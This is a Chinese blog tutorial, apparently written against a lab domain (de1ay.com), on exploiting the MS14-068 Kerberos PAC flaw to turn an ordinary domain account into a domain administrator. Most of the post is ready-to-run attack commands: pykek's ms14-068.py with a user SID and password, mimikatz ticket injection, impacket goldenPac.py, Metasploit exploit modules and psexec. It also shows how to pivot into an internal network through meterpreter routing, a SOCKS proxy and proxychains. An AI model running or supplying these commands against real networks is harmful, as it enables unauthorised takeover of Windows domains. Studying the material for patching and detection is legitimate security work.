本文已参与「新人创作礼」活动,一起开启掘金创作之路
漏洞编号MS14-068的漏洞,将允许任意用户提升到域管理员的权限,补丁编号则是KB3011780
原理分析
在之前提到白银票据攻击的时候,我们仿佛默认了一个用户可以访问任何的服务。但事实上,往往我们需要控制一些账户使他们不能访问一些服务。这时微软引入了PAC的概念,PAC包含了用户的ID,组ID一类的认证信息。进一步的PAC的分析,请期待我之后会发布的Kerberos协议的抓包分析。如果现在就想要进一步了解请看文末的链接,将导向daiker大佬的文章
在这里PAC权限验证机制产生漏洞的原因是,微软在设计PAC的时候规定了加密方式,但又允许了用户自定义加密方式,进而导致了用户可以伪造PAC;但是又由于PAC是放在TGT里面的,所以我们直接将PAC和密匙放在和TGT同结构体的aythenticator内容下。从而使KDC识别到PAC。
(名词解释,TGS其实是KDC下的一个模块,但由于TGS发回的票据没有像TGT一样的具体名称,大家就喜欢把他叫TGS,我在这里为方便区分,叫他ST(server ticket))
总结原理
1.向KDC下的AS发送一个不带PAC的AS_REQ
2.AS返回你一个不带PAC的TGT
3.制作一个管理员组权限的PAC,和TGT一起装在TGS_REQ中发给KDC下的TGS
4.TGS误识别了你伪造的信息,并发给你发给你一个管理员权限的包含PAC的ST
5.server拿到了ST,拆开ST,把其中的PAC发给TGS,TGS验证了权限之后,server向你提供管理员级别的服务
利用过程
pykek
全称是Python Kerberos Exploitation Kit
以下的方法除了MSF都需要python,但很多时候对方机器上没有python,可以选择在msf上建立路由然后在本机上配置代理,把kali带进内网的方式具体方式我也放在最后
放在最前面,给大家提个醒,不要像我一样当傻子,选一个没法登陆的账号去提权。我以下全部的演示步骤只到向内存注入票据了,(ㄒoㄒ)
ms14-068.py
这个脚本就是有pykek打包而成的
SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)
注意它的exe不能独立运行,需要带着它的环境,也就是说,没python执行不了这个exe
具体步骤
0.不说明如何获取一个域内用户账号密码,默认各位已经拥有一个域内账号
1.获取用户SID
whoami \all
2.执行脚本
proxychains4 python ms14-068.py -u mssql@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-2103 -d 10.10.10.10 -p 1qaz@WSX
-u 用户名@域名 -s 前面用户的SID -d DCip -p 密码
3.将上面脚本生成的TGT用mimikatz导入内存
kerberos::ptc TGT_mssql@de1ay.com.ccache
4.执行需要的指令,已经是管理员了
impacket工具包
/impacket/examples/goldenPac.py脚本
这个脚本结合了ms14-068+psexec,效果和上面那个获得权限之后执行一个
Psexec.exe \DC cmd.exe
没啥区别
这个脚本设计有和上一篇文章说的同样的问题,当密码里有@的时候无法区分域名和密码,但是设计者考虑到了这一点,允许使用者后输入密码
利用流程
proxychains4 python3.9 goldenPac.py de1ay.com/mssql@de1ay.com -dc-ip 10.10.10.10 -target-ip 10.10.10.10 -debug
域名/用户名@域名 -dc-ip dcip -target-ip 被攻击机ip
MSF
ms14_068_kerberos_checksum
这个模块可以提供利用方式,但真的非常麻烦,要真的想尝试可以看下面攻略;但勇士这是唯一一个不需要python的办法,如果真的有不能使用python的原因,请用这个吧
首先制作一个TGT票据
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set domain de1ay.com
set password 1qaz@WSX
set user mssql
set user_sid S-1-5-21-2756371121-2868759905-3853650604-2103
set rhosts 10.10.10.10
run
但是由于格式问题需要用mimikatz转换格式
Kerberos::clist 20220415130457_default_10.10.10.10_windows.kerberos_059689.bin /export
然后在msf里将mimikat将TGT注入内存
kerberos_ticket_use 0-00000000-de1ay@krbtgt-DE1AY.COM.kirbi
补充,kirbi好像不能用ptc注入
然后执行psexec就行,或者还是用msf内置的模块
use exploit/windows/local/current_user_psexec
set rhosts 10.10.10.10
set session 1
run
就可以了
配置代理路由
当我们打入内网的时候,出于各种原因,可以选择配置路由加本地代理,将我们的攻击机带入内网
那么接下来演示步骤
1.建立路由:
route add 10.10.10.0 255.255.255.0 1
第一个参数是对方内网网段
第二个参数是子网掩码
第三个是之前用meterpreter打下的session,必须是meterpreter的payload
查看sessions
msf > sessions
2.配置代理
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run
然后在kali中配置proxychains
vim /etc/proxychains4.conf
在最后加上
socks4 127.0.0.1 9050
之后就可以了
在你想要执行的命令前加proxychains4就可以了
proxychains4 nc -zv 10.10.10.10 135
感谢
在文章中出现的链接及插件作者们